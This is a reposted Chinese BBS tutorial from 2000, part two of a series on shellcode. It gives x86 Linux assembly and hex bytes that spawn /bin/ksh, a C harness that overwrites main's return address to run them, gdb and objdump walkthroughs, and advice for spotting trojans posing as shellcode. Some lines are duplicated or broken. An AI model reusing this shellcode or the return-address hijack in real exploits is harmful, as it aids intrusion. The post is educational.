荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Lg (创造人生的传奇), 信区: Linux
标 题: shellcode技术探讨之(2)(fwd)
发信站: BBS 荔园晨风站 (Fri Jan 21 22:33:58 2000), 站内信件
【 以下文字转载自 Hacker 讨论区 】
【 原文由 bstone 所发表 】
发信人: cloudsky (小四), 信区: Security
标 题: shellcode技术探讨之(2)(fwd)
发信站: 武汉白云黄鹤站 (Mon Jan 17 13:27:08 2000), 站内信件
标题:shellcode技术探讨之(2)
概述:
本文旨在验证前文几个问题所在,当时我在一旁加了注解,
可能有朋友觉得理解有点问题,看了这篇就没问题了。
还有就是针对以前有人问过的,如何得到shellcode的汇编
代码,给出了实际例子。文中详细注解了使用到的gdb命令
集合,如果你用过debug/softice,就很容易理解。不过说
实话,gdb的帮助(即使是那些翻译过来的)比dbx要糟,幸
好用过dbx。
测试:
RedHat 6.0/Intel PII
目录:
1. 验证exit()不是必要的
1. 验证exit()不是必要的
2. vi shelltest.c
3. gdb使用举例(待增加)
4. 利用objdump直接查看shellcode的汇编代码
5. 使用外来shellcode时要注意的问题
1. 验证exit()不是必要的
shellcode探讨之一中第6条目,提到那个exit()系统调用是不必要的。
可能有朋友觉得不可信,我就把有关它的部分去掉,略微调整一下
代码再演示一番。
vi shellcodeasm.c
int main ()
{
__asm__
("
jmp 0x18 # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x8(%esi) # 3 bytes
movb %eax,0x8(%esi) # 3 bytes
movl %eax,0xd(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x1d # 5 bytes
.string \"/bin/ksh\" # 9 bytes
# 41 bytes total
");
}
[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
objdump -j .text -Sl shellcodeasm | more
/main
08048398 <main>:
08048398 <main>:
main():
/home/scz/src/shellcodeasm.c:2
{
8048398: 55 pushl %ebp
8048399: 89 e5 movl %esp,%ebp
/home/scz/src/shellcodeasm.c:3
__asm__
804839b: eb 18 jmp 80483b5 <main+0x1d>
804839d: 5e popl %esi
804839e: 89 76 09 movl %esi,0x9(%esi)
80483a1: 31 c0 xorl %eax,%eax
80483a3: 88 46 08 movb %al,0x8(%esi)
80483a6: 89 46 0d movl %eax,0xd(%esi)
80483a9: b0 0b movb $0xb,%al
80483ab: 89 f3 movl %esi,%ebx
80483ad: 8d 4e 09 leal 0x9(%esi),%ecx
80483b0: 8d 56 0d leal 0xd(%esi),%edx
80483b3: cd 80 int $0x80
80483b5: e8 e3 ff ff ff call 804839d <main+0x5>
80483ba: 2f das
80483bb: 62 69 6e boundl 0x6e(%ecx),%ebp
80483be: 2f das
80483be: 2f das
80483bf: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:20
("
jmp 0x18 # 3 bytes
popl %esi # 1 byte
movl %esi,0x9(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x8(%esi) # 3 bytes
movl %eax,0xd(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x9(%esi),%ecx # 3 bytes
leal 0xd(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x1d # 5 bytes
.string \"/bin/ksh\" # 9 bytes
# 41 bytes total
");
}
80483c3: c9 leave
80483c4: c3 ret
80483c5: 90 nop
80483c5: 90 nop
整理shellcode如下:
eb 18 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b 89 f3 8d 4e 09
8d 56 0d cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3
2. vi shelltest.c
char shellcode[] =
"\xeb\x18\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b\x89\xf3\xd
\x4e\x09"
"\x8d\x56\x0d\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x0
\xc9\xc3";
int main ()
{
int * ret; /* 当前esp指向的地址保存ret的值 */
ret = ( int * )&ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */
( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的?
步 */
}
}
[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>
说明什么?我们的结论是正确的。exit()不过是一种附加的保护措施,免得你在
别人机器上搞砸的时候来个core dump。我个人建议还是留下这个exit(),增加不
了几个字节的。
3. gdb使用举例(待增加)
[scz@ /home/scz/src]> gdb shelltest
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048398 <main>: pushl %ebp
0x8048399 <main+1>: movl %esp,%ebp
0x804839b <main+3>: subl $0x4,%esp
0x804839e <main+6>: leal 0xfffffffc(%ebp),%eax
0x80483a1 <main+9>: leal 0x8(%eax),%edx
0x80483a1 <main+9>: leal 0x8(%eax),%edx
0x80483a4 <main+12>: movl %edx,0xfffffffc(%ebp)
0x80483a7 <main+15>: movl 0xfffffffc(%ebp),%eax
0x80483aa <main+18>: movl $0x8049440,(%eax)
0x80483b0 <main+24>: leave
0x80483b1 <main+25>: ret
End of assembler dump.
(gdb) break main < -- -- -- 设置断点
Breakpoint 1 at 0x804839e
(gdb) run < -- -- -- 运行
Starting program: /home/scz/src/shelltest
Breakpoint 1, 0x804839e in main ()
(gdb) jump *main+12 < -- -- -- 运行到 main+12 停下来
Continuing at 0x80483a4.
Program exited with code 064.
(gdb) info bre < -- -- -- 查看断点
Num Type Disp Enb Address What
1 breakpoint keep y 0x0804839e <main+6>
breakpoint already hit 1 time
(gdb) kill < -- -- -- 终止调试当前程序
(gdb) d 1 < -- -- -- 删除1号断点
(gdb) d 1 < -- -- -- 删除1号断点
(gdb) break *main+18
Breakpoint 2 at 0x80483aa
(gdb) inf b
Num Type Disp Enb Address What
2 breakpoint keep y 0x080483aa <main+18>
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/scz/src/shelltest
Breakpoint 2, 0x80483aa in main ()
(gdb) inf reg < -- -- -- 查看寄存器
eax: 0xbffffd0c -1073742580 < -- -- -- eax存放着main()返回地址所在地址
ecx: 0x8048398 134513560
edx: 0xbffffd0c -1073742580
ebx: 0x401041b4 1074807220
esp: 0xbffffd04 -1073742588
ebp: 0xbffffd08 -1073742584
esi: 0xbffffd54 -1073742508
edi: 0x1 1
eip: 0x80483aa 134513578 < -- -- -- 注意这里eip等于断点地址
eflags: 0x282 IOPL: 0; flags: SF IF
eflags: 0x282 IOPL: 0; flags: SF IF
orig_eax: 0xffffffff -1
cs: 0x23 35
ss: 0x2b 43
ds: 0x2b 43
es: 0x2b 43
fs: 0x0 0
gs: 0x0 0
(gdb) x/32bx $ebp - 16 < -- -- -- 查看堆栈,采用16进制字节表达方式
0xbffffcf8: 0x08 0xfd 0xff 0xbf 0x8b 0x83 0x04 0x08
0xbffffd00: 0x6c 0x94 0x04 0x08 0x0c 0xfd 0xff 0xbf
0xbffffd08: 0x28 0xfd 0xff 0xbf 0xb3 0x1c 0x03 0x40
0xbffffd10: 0x01 0x00 0x00 0x00 0x54 0xfd 0xff 0xbf
(gdb) stepi < -- -- -- 单步执行一条汇编指令,进入子程序
0x80483b0 in main ()
(gdb) inf reg
eax: 0xbffffd0c -1073742580 < -- -- -- 应该检查0xbffffd0c的内容
ecx: 0x8048398 134513560
edx: 0xbffffd0c -1073742580
ebx: 0x401041b4 1074807220
esp: 0xbffffd04 -1073742588
ebp: 0xbffffd08 -1073742584
esi: 0xbffffd54 -1073742508
esi: 0xbffffd54 -1073742508
edi: 0x1 1
eip: 0x80483b0 134513584 < -- -- -- eip变更
eflags: 0x382 IOPL: 0; flags: SF TF IF
orig_eax: 0xffffffff -1
cs: 0x23 35
ss: 0x2b 43
ds: 0x2b 43
es: 0x2b 43
fs: 0x0 0
gs: 0x0 0
(gdb) x/4bx $eax < -- -- -- 检查0xbffffd0c的内容
0xbffffd0c: 0x40 0x94 0x04 0x08
(gdb) stepi
0x80483b1 in main ()
(gdb) stepi < -- -- -- 执行ret指令,流程转入我们的shellcode
0x8049440 in shellcode ()
(gdb) disas $eip $eip+31 < -- -- -- 反汇编shellcode中的31个字节
Dump of assembler code from 0x8049440 to 0x804945f:
0x8049440 <shellcode>: jmp 0x804945a <shellcode+26>
0x8049442 <shellcode+2>: popl %esi
0x8049443 <shellcode+3>: movl %esi,0x9(%esi)
0x8049446 <shellcode+6>: xorl %eax,%eax
0x8049446 <shellcode+6>: xorl %eax,%eax
0x8049448 <shellcode+8>: movb %al,0x8(%esi)
0x804944b <shellcode+11>: movl %eax,0xd(%esi)
0x804944e <shellcode+14>: movb $0xb,%al
0x8049450 <shellcode+16>: movl %esi,%ebx
0x8049452 <shellcode+18>: leal 0x9(%esi),%ecx
0x8049455 <shellcode+21>: leal 0xd(%esi),%edx
0x8049458 <shellcode+24>: int $0x80
0x804945a <shellcode+26>: call 0x8049442 <shellcode+2>
End of assembler dump.
(gdb) x/16s $eip+31 < -- -- -- 以字符串形式查看内存
0x804945f <shellcode+31>: "/bin/ksh"
... ...
(gdb) nexti 8 < -- -- -- 单步执行8次汇编指令,不进入子程序
0x8049450 in shellcode ()
(gdb) x/16bx $esi < -- -- -- 观察前文第14条目中提到的内存状况
0x804945f <shellcode+31>: 0x2f 0x62 0x69 0x6e 0x2f 0x6b 0
x73 0x68
0x8049467 <shellcode+39>: 0x00 0x5f 0x94 0x04 0x08 0x00 0
x00 0x00
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(gdb) quit
The program is running. Exit anyway? (y or n) y
The program is running. Exit anyway? (y or n) y
[scz@ /home/scz/src]>
啊哈,是不是一路做下来了呢?找回点什么感觉,对了对了,正是这种感觉,
不就是在玩debug嘛,没什么可怕的,很简单的gdb。当然咯,如果你要调试
多线程程序,可能要麻烦点,回头有机会我写篇gdb调试多线程实战上来。
4. 利用objdump直接查看shellcode的汇编代码
objdump -j .data -D shelltest | more
/shellcode
08049440 <shellcode>:
8049440: eb 18 jmp 804945a <shellcode+0x1a>
8049442: 5e popl %esi
8049443: 89 76 09 movl %esi,0x9(%esi)
8049446: 31 c0 xorl %eax,%eax
8049448: 88 46 08 movb %al,0x8(%esi)
804944b: 89 46 0d movl %eax,0xd(%esi)
804944e: b0 0b movb $0xb,%al
8049450: 89 f3 movl %esi,%ebx
8049452: 8d 4e 09 leal 0x9(%esi),%ecx
8049455: 8d 56 0d leal 0xd(%esi),%edx
8049455: 8d 56 0d leal 0xd(%esi),%edx
8049458: cd 80 int $0x80
804945a: e8 e3 ff ff ff call 8049442 <shellcode+0x2>
804945f: 2f das
8049460: 62 69 6e boundl 0x6e(%ecx),%ebp
8049463: 2f das
8049464: 6b 73 68 00 imull $0x0,0x68(%ebx),%esi
8049468: c9 leave
8049469: c3 ret
[scz@ /home/scz/src]> objdump -j .data -s shelltest | more
shelltest: file format elf32-i386
Contents of section .data:
8049420 00000000 7c940408 00000000 00000000 ....|...........
8049430 00000000 00000000 00000000 00000000 ................
8049440 eb185e89 760931c0 88460889 460db00b ..^.v.1..F..F...
8049450 89f38d4e 098d560d cd80e8e3 ffffff2f ...N..V......../
8049460 62696e2f 6b736800 c9c30000 bin/ksh.....
[scz@ /home/scz/src]>
5. 使用外来shellcode时要注意的问题
8049440 eb185e89 760931c0 88460889 460db00b ..^.v.1..F..F...
我们必须注意到,绝大部分shellcode都是以jmp指令开始的,那么第一个字节
应该是0xeb,即使不以jmp开始,也应该有call和int指令出现,0xe8和0xcd。
要是一段shellcode没有这三个字节出现,那很值得怀疑,到底是shellcode
还是木马。shellcode一般都是短小精悍的,如果shellcode很长,也要怀疑
它的功能到底是什么,此时应该用objdump来查看这只混蛋,关于objdump的
使用前面已经给了不少例子,完整的说明请查看我贴过的
<<objdump的使用(修订I)>>
--
我问飘逝的风:来迟了?
风感慨:是的,他们已经宣战。
我问苏醒的大地:还有希望么?
大地揉了揉眼睛:还有,还有无数代的少年。
我问长空中的英魂:你们相信?
英魂带着笑意离去:相信,希望还在。
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 203.207.226.124]
--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.28]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 210.39.3.97]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店